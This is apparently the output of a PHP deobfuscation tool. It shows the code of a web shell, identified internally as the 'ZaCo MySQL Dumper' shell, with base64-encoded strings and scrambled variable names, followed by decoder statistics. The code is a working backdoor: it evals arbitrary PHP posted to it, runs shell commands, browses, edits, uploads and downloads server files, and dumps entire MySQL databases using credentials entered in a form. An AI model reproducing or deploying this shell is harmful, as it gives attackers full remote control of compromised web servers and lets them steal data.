base64_decode('ZXZhbA=='):{$wrio17=isset($_POST[base64_decode('ZXZhbF92YWx1ZQ==')])?$_POST[base64_decode('ZXZhbF92YWx1ZQ==')]:'';$wrio17=jbly0($wrio17);$deti18=isset($_POST[base64_decode('YWN0aW9u')])?$_POST[base64_decode('YWN0aW9u')]:base64_decode('ZXZhbA==');if($deti18==base64_decode('ZXZhbF9pbl9odG1s'))@eval($wrio17);else{echo($zvux13.$xzir16);?>
<hr>
<form method=post>
<textarea cols=120 rows=20 name='eval_value'><? @eval($wrio17);?></textarea>
<input name='action' value='eval' type='submit'>
<input name='action' value='eval_in_html' type='submit'>
<input name='page' value='eval' type=hidden>
</form>
<hr>
<? }break;}case base64_decode('Y21k'):{$gapk19=!empty($_POST[base64_decode('Y21k')])?jbly0($_POST[base64_decode('Y21k')]):'';$eoon1a=isset($_POST[base64_decode('d29ya19kaXI=')])?$_POST[base64_decode('d29ya19kaXI=')]:getcwd();$deti18=isset($_POST[base64_decode('YWN0aW9u')])?$_POST[base64_decode('YWN0aW9u')]:base64_decode('Y21k');if(@is_dir($eoon1a)){@chdir($eoon1a);$eoon1a=getcwd();if($eoon1a=='')$eoon1a=base64_decode('Lw==');else if(!($eoon1a{strlen($eoon1a)-1}==base64_decode('Lw==')||$eoon1a{strlen($eoon1a)-1}==base64_decode('XFw=')))$eoon1a.=base64_decode('Lw==');}else if(file_exists($eoon1a))$eoon1a=realpath($eoon1a);$eoon1a=str_replace(base64_decode('XFw='),base64_decode('Lw=='),$eoon1a);$fxcr1b=htmlspecialchars($eoon1a,ENT_QUOTES);switch($deti18){case base64_decode('Y21k'):{echo($zvux13.$xzir16);?>
<form method='post' name='main_form'>
<input name='work_dir' value='<?=$fxcr1b?>' type=text size=120>
<input name='page' value='cmd' type=hidden>
<input type=submit value='go'>
</form>
<form method=post>
<input name='cmd' type=text size=120 value='<?=str_replace(base64_decode('XCc='),base64_decode('JiMwMzk7'),$gapk19)?>'>
<input name='work_dir'type=hidden>
<input name='page' value='cmd' type=hidden>
<input name='action' value='cmd' type=submit onclick="work_dir.value=document.main_form.work_dir.value;">
</form>
<form method=post enctype="multipart/form-data">
<input type="file" name="filename">
<input name='work_dir'type=hidden>
<input name='page' value='cmd' type=hidden>
<input name='action' value='upload' type=submit onclick="work_dir.value=document.main_form.work_dir.value;">
</form>
<form method=post>
<input name='fname' type=text size=120><br>
<input name='archive' type=radio value='none'>without arch
<input name='archive' type=radio value='gzip' checked=true>gzip archive
<input name='work_dir'type=hidden>
<input name='page' value='cmd' type=hidden>
<input name='action' value='download' type=submit onclick="work_dir.value=document.main_form.work_dir.value;">
</form>
<pre>
<? if($gapk19!==''){echo(base64_decode('PHN0cm9uZz4=').htmlspecialchars($gapk19).base64_decode('PC9zdHJvbmc+PGhyPgo8dGV4dGFyZWEgY29scz0xMjAgcm93cz0yMD4K').htmlspecialchars(`$gapk19`).base64_decode('CjwvdGV4dGFyZWE+'));}else{$xswh1c=isset($_POST[base64_decode('Zl9hY3Rpb24=')])?$_POST[base64_decode('Zl9hY3Rpb24=')]:base64_decode('dmlldw==');if(@is_dir($eoon1a)){echo(base64_decode('PHN0cm9uZz5MaXN0aW5nIA==').$fxcr1b.base64_decode('PC9zdHJvbmc+PGhyPg=='));$nvdq1d=@opendir($eoon1a);if($nvdq1d){while(false!==($adhm10=readdir($nvdq1d))){$zbgj1e[]=$adhm10;};@closedir($nvdq1d);sort($zbgj1e);$ddlz1f=array();for($mdfe20=0;$mdfe20<sizeof($zbgj1e);$mdfe20++){$adhm10=$zbgj1e[$mdfe20];if(is_dir($adhm10)){echo(base64_decode('PGEgaHJlZj1cJyNcJyBvbmNsaWNrPVwnZG9jdW1lbnQubGlzdC53b3JrX2Rpci52YWx1ZT0i').$fxcr1b.str_replace(base64_decode('Ig=='),base64_decode('JnF1b3Q7'),$adhm10).base64_decode('Ijtkb2N1bWVudC5saXN0LnN1Ym1pdCgpO1wnPjxiPg==').htmlspecialchars(strlen($adhm10)>format?substr($adhm10,0,format-3).base64_decode('Li4u'):$adhm10).base64_decode('PC9iPjwvYT4=').str_repeat(base64_decode('IA=='),format-strlen($adhm10)));if($xpfp15===false){$rxkd21=@posix_getpwuid(@fileowner($eoon1a.$adhm10));$gvvn22=@posix_getgrgid(@filegroup($eoon1a.$adhm10));printf(base64_decode('JSAyMHN8JSAtMjBz'),$rxkd21[base64_decode('bmFtZQ==')],$gvvn22[base64_decode('bmFtZQ==')]);}echo(@tdpk1($eoon1a.$adhm10).str_repeat(base64_decode('IA=='),10));printf(base64_decode('JSAyMHMg'),@filesize($eoon1a.$adhm10).base64_decode('Qg=='));printf(base64_decode('JSAtMjBz'),@date(base64_decode('TSBkIFkgSDppOnM='),@filemtime($eoon1a.$adhm10)).base64_decode('Cg=='));}else{$ddlz1f[]=$adhm10;}}for($mdfe20=0;$mdfe20<sizeof($ddlz1f);$mdfe20++){$adhm10=$ddlz1f[$mdfe20];echo(base64_decode('PGEgaHJlZj1cJyNcJyBvbmNsaWNrPVwnZG9jdW1lbnQubGlzdC53b3JrX2Rpci52YWx1ZT0i').(is_link($eoon1a.$adhm10)?$fxcr1b.readlink($eoon1a.$adhm10):$fxcr1b.str_replace(base64_decode('Ig=='),base64_decode('JnF1b3Q7'),$adhm10)).base64_decode('Ijtkb2N1bWVudC5saXN0LnN1Ym1pdCgpO1wnPg==').htmlspecialchars(strlen($adhm10)>format?substr($adhm10,0,format-3).base64_decode('Li4u'):$adhm10).base64_decode('PC9hPg==').str_repeat(base64_decode('IA=='),format-strlen($adhm10)));if($xpfp15===false){$rxkd21=@posix_getpwuid(@fileowner($eoon1a.$adhm10));$gvvn22=@posix_getgrgid(@filegroup($eoon1a.$adhm10));printf(base64_decode('JSAyMHN8JSAtMjBz'),$rxkd21[base64_decode('bmFtZQ==')],$gvvn22[base64_decode('bmFtZQ==')]);}echo(@tdpk1($eoon1a.$adhm10).str_repeat(base64_decode('IA=='),10));printf(base64_decode('JSAyMHMg'),@filesize($eoon1a.$adhm10).base64_decode('Qg=='));printf(base64_decode('JSAtMjBz'),@date(base64_decode('TSBkIFkgSDppOnM='),@filemtime($eoon1a.$adhm10)).base64_decode('Cg=='));}echo(base64_decode('PC9wcmU+PGhyPg=='));?>
<form name='list' method=post>
<input name='work_dir' type=hidden size=120><br>
<input name='page' value='cmd' type=hidden>
<input name='f_action' value='view' type=hidden>
</form>
<? }else echo(base64_decode('RXJyb3IgTGlzdGluZyA=').$fxcr1b);}else switch($xswh1c){case base64_decode('dmlldw=='):{echo(base64_decode('PHN0cm9uZz4=').$fxcr1b.base64_decode('IEVkaXQ8L3N0cm9uZz48aHI+PHByZT4K'));$oeft23=@fopen($eoon1a,base64_decode('cg=='));?>
<form method=post>
<textarea name='file_text' cols=120 rows=20><? if(!($oeft23))echo($fxcr1b.base64_decode('IG5vdCBleGlzdHM='));else while(!feof($oeft23))echo htmlspecialchars(fread($oeft23,100000))?></textarea>
<input name='page' value='cmd' type=hidden>
<input name='work_dir' type=hidden value='<?=$fxcr1b?>' size=120>
<input name='f_action' value='save' type=submit>
</form>
<? break;}case base64_decode('c2F2ZQ=='):{$mcjr24=isset($_POST[base64_decode('ZmlsZV90ZXh0')])?jbly0($_POST[base64_decode('ZmlsZV90ZXh0')]):'';$oeft23=@fopen($eoon1a,base64_decode('dw=='));if(!($oeft23))echo(base64_decode('PHN0cm9uZz5FcnJvciA=').$fxcr1b.base64_decode('PC9zdHJvbmc+PGhyPjxwcmU+Cg=='));else{fwrite($oeft23,$mcjr24);fclose($oeft23);echo(base64_decode('PHN0cm9uZz4=').$fxcr1b.base64_decode('IGlzIHNhdmluZzwvc3Ryb25nPjxocj48cHJlPgo='));}break;}}break;}break;}case base64_decode('dXBsb2Fk'):{if($eoon1a=='')$eoon1a=base64_decode('Lw==');else if(!($eoon1a{strlen($eoon1a)-1}==base64_decode('Lw==')||$eoon1a{strlen($eoon1a)-1}==base64_decode('XFw=')))$eoon1a.=base64_decode('Lw==');$oeft23=$_FILES[base64_decode('ZmlsZW5hbWU=')][base64_decode('bmFtZQ==')];if(!@copy($_FILES[base64_decode('ZmlsZW5hbWU=')][base64_decode('dG1wX25hbWU=')],$eoon1a.$oeft23))echo(base64_decode('VXBsb2FkIGlzIGZhaWxlZA=='));else{echo(base64_decode('ZmlsZSBpcyB1cGxvYWRlZCBpbiA=').$fxcr1b);}break;}case base64_decode('ZG93bmxvYWQ='):{$qapu25=isset($_POST[base64_decode('Zm5hbWU=')])?$_POST[base64_decode('Zm5hbWU=')]:'';$ulxl26=isset($_POST[base64_decode('dGVtcF9maWxl')])?base64_decode('b24='):base64_decode('bm4=');$oeft23=@fopen($qapu25,base64_decode('cg=='));if(!($oeft23))echo(base64_decode('ZmlsZSBpcyBub3QgZXhpc3Rz'));else{$buqz27=isset($_POST[base64_decode('YXJjaGl2ZQ==')])?$_POST[base64_decode('YXJjaGl2ZQ==')]:'';if($buqz27==base64_decode('Z3ppcA==')){Header(base64_decode('Q29udGVudC1UeXBlOmFwcGxpY2F0aW9uL3gtZ3ppcAo='));$ruhl2=gzencode(fread($oeft23,filesize($qapu25)));Header(base64_decode('Q29udGVudC1MZW5ndGg6IA==').strlen($ruhl2).base64_decode('Cg=='));Header(base64_decode('Q29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9Ig==').str_replace(base64_decode('Lw=='),base64_decode('LQ=='),$qapu25).base64_decode('Lmd6Cgo='));echo($ruhl2);}else{Header(base64_decode('Q29udGVudC1UeXBlOmFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbQo='));Header(base64_decode('Q29udGVudC1MZW5ndGg6IA==').filesize($qapu25).base64_decode('Cg=='));Header(base64_decode('Q29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9Ig==').str_replace(base64_decode('Lw=='),base64_decode('LQ=='),$qapu25).base64_decode('Cgo='));ob_start();while(feof($oeft23)===false){echo(fread($oeft23,10000));ob_flush();}}}}}break;}case base64_decode('bXlzcWw='):{$deti18=isset($_POST[base64_decode('YWN0aW9u')])?$_POST[base64_decode('YWN0aW9u')]:base64_decode('cXVlcnk=');$xzwu28=isset($_POST[base64_decode('dXNlcg==')])?$_POST[base64_decode('dXNlcg==')]:'';$vfty29=isset($_POST[base64_decode('cGFzc3dk')])?$_POST[base64_decode('cGFzc3dk')]:'';$nldu2a=isset($_POST[base64_decode('ZGI=')])?$_POST[base64_decode('ZGI=')]:'';$ercs2b=isset($_POST[base64_decode('aG9zdA==')])?$_POST[base64_decode('aG9zdA==')]:base64_decode('bG9jYWxob3N0');$pbpf2c=isset($_POST[base64_decode('cXVlcnk=')])?jbly0($_POST[base64_decode('cXVlcnk=')]):'';switch($deti18){case base64_decode('ZHVtcA=='):{$gjsj2d=@ajmz2e($ercs2b,$xzwu28,$vfty29);if(!($gjsj2d))echo(base64_decode('Q29ubmVjdCBlcnJvcg=='));else{$bibj2f=isset($_POST[base64_decode('dG9fZmlsZQ==')])?($_POST[base64_decode('dG9fZmlsZQ==')]==''?false:$_POST[base64_decode('dG9fZmlsZQ==')]):false;$buqz27=isset($_POST[base64_decode('YXJjaGl2ZQ==')])?$_POST[base64_decode('YXJjaGl2ZQ==')]:base64_decode('bm9uZQ==');if($buqz27!==base64_decode('bm9uZQ=='))$bibj2f=false;$usqf30=isset($_POST[base64_decode('ZGJfZHVtcA==')])?$_POST[base64_decode('ZGJfZHVtcA==')]:'';$qlwt31=isset($_POST[base64_decode('dGFibGVfZHVtcA==')])?$_POST[base64_decode('dGFibGVfZHVtcA==')]:'';if(!(@utjf32($usqf30,$gjsj2d)))echo(base64_decode('REIgZXJyb3I='));else{$nxwl33="#ZaCo MySQL Dumper\n#db $nldu2a from $ercs2b\n";ob_start();if($bibj2f){$fops34=@fopen($bibj2f,base64_decode('dw=='));if(!$fops34)die(base64_decode('Q2FudCBvcGVuaW5nIA==').$bibj2f);}else $fops34=false;if($qlwt31==''){if(!$bibj2f){header(base64_decode('Q29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LQ==').($buqz27==base64_decode('bm9uZQ==')?base64_decode('b2N0ZXQtc3RyZWFt'):base64_decode('Z3ppcA==')).base64_decode('Cg=='));header("Content-Disposition: attachment; filename=\"dump_{$usqf30}.sql".($buqz27==base64_decode('bm9uZQ==')?'':base64_decode('Lmd6')).base64_decode('IgoK'));}$zdtk35=ebxc36(base64_decode('c2hvdyB0YWJsZXM='),$gjsj2d);for($mdfe20=0;$mdfe20<blte37($zdtk35);$mdfe20++){$mjys38=xuki39($zdtk35);$suin3a=@ebxc36(base64_decode('c2hvdyBjb2x1bW5zIGZyb20gYA==').$mjys38[0].base64_decode('YA=='),$gjsj2d);if(!$suin3a)$nxwl33.=base64_decode('I2Vycm9yIHRhYmxlIA==').$mjys38[0];else{$nxwl33.=base64_decode('Y3JlYXRlIHRhYmxlIGA=').$mjys38[0].base64_decode('YCgK');for($nqoj3b=0;$nqoj3b<blte37($suin3a)-1;$nqoj3b++){$xbzn3c=xuki39($suin3a);$nxwl33.=base64_decode('YA==').$xbzn3c[0].base64_decode('YCA=').$xbzn3c[1].($xbzn3c[2]==base64_decode('Tk8=')&&$xbzn3c[4]!=base64_decode('TlVMTA==')?base64_decode('IE5PVCBOVUxMIERFRkFVTFQgXCc=').$xbzn3c[4].base64_decode('XCc='):base64_decode('IERFRkFVTFQgTlVMTA==')).base64_decode('LAo=');}$xbzn3c=xuki39($suin3a);$nxwl33.=base64_decode('YA==').$xbzn3c[0].base64_decode('YCA=').$xbzn3c[1].($xbzn3c[2]==base64_decode('Tk8=')&&$xbzn3c[4]!=base64_decode('TlVMTA==')?base64_decode('IE5PVCBOVUxMIERFRkFVTFQgXCc=').$xbzn3c[4].base64_decode('XCc='):base64_decode('IERFRkFVTFQgTlVMTA==')).base64_decode('Cg==');$xdnj3d[$nqoj3b]=$xbzn3c[1];$nxwl33.=base64_decode('KTsK');latn3e($suin3a);$suin3a=ebxc36(base64_decode('c2VsZWN0ICogZnJvbSBg').$mjys38[0].base64_decode('YA=='),$gjsj2d);$blim3f=$nqoj3b-1;for($nqoj3b=0;$nqoj3b<blte37($suin3a);$nqoj3b++){$xbzn3c=xuki39($suin3a);$nxwl33.=base64_decode('aW5zZXJ0IGludG8gYA==').$mjys38[0].base64_decode('YCB2YWx1ZXMgKA==');for($coad40=0;$coad40<$blim3f;$coad40++){$nxwl33.=$xbzn3c[$coad40]==''?base64_decode('bnVsbCw='):base64_decode('XCc=').addslashes($xbzn3c[$coad40]).base64_decode('XCcs');}$nxwl33.=($xbzn3c[$coad40]==''?base64_decode('bnVsbCk7'):base64_decode('XCc=').addslashes($xbzn3c[$coad40]).base64_decode('XCcpOw==')).base64_decode('Cg==');if($buqz27==base64_decode('bm9uZQ==')){if($bibj2f){fwrite($fops34,$nxwl33);fflush($fops34);}else{echo($nxwl33);ob_flush();}$nxwl33='';}}latn3e($suin3a);}}latn3e($zdtk35);if($buqz27!=base64_decode('bm9uZQ==')){$nxwl33=gzencode($nxwl33);header(base64_decode('Q29udGVudC1MZW5ndGg6IA==').strlen($nxwl33).base64_decode('Cg=='));echo($nxwl33);}else if($fops34){fclose($fops34);echo(base64_decode('RHVtcCBmb3Ig').$usqf30.base64_decode('IG5vdyBpbiA=').$bibj2f);}}else{$suin3a=@ebxc36(base64_decode('c2hvdyBjb2x1bW5zIGZyb20gYA==').$qlwt31.base64_decode('YA=='),$gjsj2d);if(!$suin3a)echo(base64_decode('ZXJyb3IgdGFibGUg').$qlwt31);else{if(!$bibj2f){header(base64_decode('Q29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LQ==').($buqz27==base64_decode('bm9uZQ==')?base64_decode('b2N0ZXQtc3RyZWFt'):base64_decode('Z3ppcA==')).base64_decode('Cg=='));header("Content-Disposition: attachment; filename=\"dump_{$usqf30}.sql".($buqz27==base64_decode('bm9uZQ==')?'':base64_decode('Lmd6')).base64_decode('IgoK'));}if($bibj2f===false){header(base64_decode('Q29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LQ==').($buqz27==base64_decode('bm9uZQ==')?base64_decode('b2N0ZXQtc3RyZWFt'):base64_decode('Z3ppcA==')).base64_decode('Cg=='));header("Content-Disposition: attachment; filename=\"dump_{$usqf30}_${table_dump}.sql".($buqz27==base64_decode('bm9uZQ==')?'':base64_decode('Lmd6')).base64_decode('IgoK'));}$nxwl33.="create table `{$qlwt31}`(\n";for($nqoj3b=0;$nqoj3b<blte37($suin3a)-1;$nqoj3b++){$xbzn3c=xuki39($suin3a);$nxwl33.=base64_decode('YA==').$xbzn3c[0].base64_decode('YCA=').$xbzn3c[1].($xbzn3c[2]==base64_decode('Tk8=')&&$xbzn3c[4]!=base64_decode('TlVMTA==')?base64_decode('IE5PVCBOVUxMIERFRkFVTFQgXCc=').$xbzn3c[4].base64_decode('XCc='):base64_decode('IERFRkFVTFQgTlVMTA==')).base64_decode('LAo=');}$xbzn3c=xuki39($suin3a);$nxwl33.=base64_decode('YA==').$xbzn3c[0].base64_decode('YCA=').$xbzn3c[1].($xbzn3c[2]==base64_decode('Tk8=')&&$xbzn3c[4]!=base64_decode('TlVMTA==')?base64_decode('IE5PVCBOVUxMIERFRkFVTFQgXCc=').$xbzn3c[4].base64_decode('XCc='):base64_decode('IERFRkFVTFQgTlVMTA==')).base64_decode('Cg==');$xdnj3d[$nqoj3b]=$xbzn3c[1];$nxwl33.=base64_decode('KTsK');latn3e($suin3a);$suin3a=ebxc36(base64_decode('c2VsZWN0ICogZnJvbSBg').$qlwt31.base64_decode('YA=='),$gjsj2d);$blim3f=$nqoj3b-1;for($nqoj3b=0;$nqoj3b<blte37($suin3a);$nqoj3b++){$xbzn3c=xuki39($suin3a);$nxwl33.=base64_decode('aW5zZXJ0IGludG8gYA==').$qlwt31.base64_decode('YCB2YWx1ZXMgKA==');for($coad40=0;$coad40<$blim3f;$coad40++){$nxwl33.=$xbzn3c[$coad40]==''?base64_decode('bnVsbCw='):base64_decode('XCc=').addslashes($xbzn3c[$coad40]).base64_decode('XCcs');}$nxwl33.=($xbzn3c[$coad40]==''?base64_decode('bnVsbCk7'):base64_decode('XCc=').addslashes($xbzn3c[$coad40]).base64_decode('XCcpOw==')).base64_decode('Cg==');if($buqz27==base64_decode('bm9uZQ==')){if($bibj2f){fwrite($fops34,$nxwl33);fflush($fops34);}else{echo($nxwl33);ob_flush();}$nxwl33='';}}latn3e($suin3a);if($buqz27!=base64_decode('bm9uZQ==')){$nxwl33=gzencode($nxwl33);header(base64_decode('Q29udGVudC1MZW5ndGg6IA==').strlen($nxwl33).base64_decode('Cg=='));echo $nxwl33;}else if($fops34){fclose($fops34);echo(base64_decode('RHVtcCBmb3Ig').$usqf30.base64_decode('IG5vdyBpbiA=').$bibj2f);}}}}}break;}case base64_decode('cXVlcnk='):{echo($zvux13.$xzir16);?>
<hr>
<form method=post>
<table>
<td>
<table align=left>
<tr><td>User :<input name='user' type=text value='<?=$xzwu28?>'></td><td>Passwd :<input name='passwd' type=text value='<?=$vfty29?>'></td><td>Host :<input name='host' type=text value='<?=$ercs2b?>'></td><td>DB :<input name='db' type=text value='<?=$nldu2a?>'></td></tr>
<tr><textarea name='query' cols=120 rows=20><?=htmlspecialchars($pbpf2c)?></textarea></tr>
</table>
</td>
<td>
<table>
<tr><td>DB :</td><td><input type=text name='db_dump' value='<?=$nldu2a?>'></td></tr>
<tr><td>Only Table :</td><td><input type=text name='table_dump'></td></tr>
<input name='archive' type=radio value='none'>without arch
<input name='archive' type=radio value='gzip' checked=true>gzip archive
<tr><td><input type=submit name='action' value='dump'></td></tr>
<tr><td>Save result to :</td><td><input type=text name='to_file' value='' size=23></td></tr>
</table>
</td>
</table>
<input name='page' value='mysql' type=hidden>
<input name='action' value='query' type=submit>
</form>
<hr>
<? $gjsj2d=@ajmz2e($ercs2b,$xzwu28,$vfty29);if(!($gjsj2d))echo(base64_decode('Q29ubmVjdCBlcnJvcg=='));else{if($nldu2a!='')if(!(@utjf32($nldu2a,$gjsj2d))){echo(base64_decode('REIgZXJyb3I='));pyed41($gjsj2d);break;}$zdtk35=@ebxc36($pbpf2c,$gjsj2d);if(!($zdtk35))echo(buyh42());else{echo(base64_decode('PHRhYmxlIHZhbGlnbj10b3AgYWxpZ249bGVmdD4KPHRyPg=='));for($mdfe20=0;$mdfe20<swji43($zdtk35);$mdfe20++)echo(base64_decode('PHRkPjxiPg==').htmlspecialchars(oxji44($zdtk35,$mdfe20)).base64_decode('PC9iPiAgPC90ZD4='));echo(base64_decode('CjwvdHI+Cg=='));for($mdfe20=0;$mdfe20<blte37($zdtk35);$mdfe20++){$mjys38=xuki39($zdtk35);echo(base64_decode('PHRyIHZhbGlnbj10b3AgYWxpZ249bGVmdD4='));for($nqoj3b=0;$nqoj3b<swji43($zdtk35);$nqoj3b++){echo(base64_decode('PHRkPg==').(htmlspecialchars($mjys38[$nqoj3b])).base64_decode('PC90ZD4='));}echo(base64_decode('PC90cj4K'));}echo(base64_decode('PC90YWJsZT4K'));}pyed41($gjsj2d);}break;}}break;}}
Function Calls
None |
Stats
MD5 | 0b7191607263c7d798aaa520b401a02d |
Eval Count | 0 |
Decode Time | 148 ms |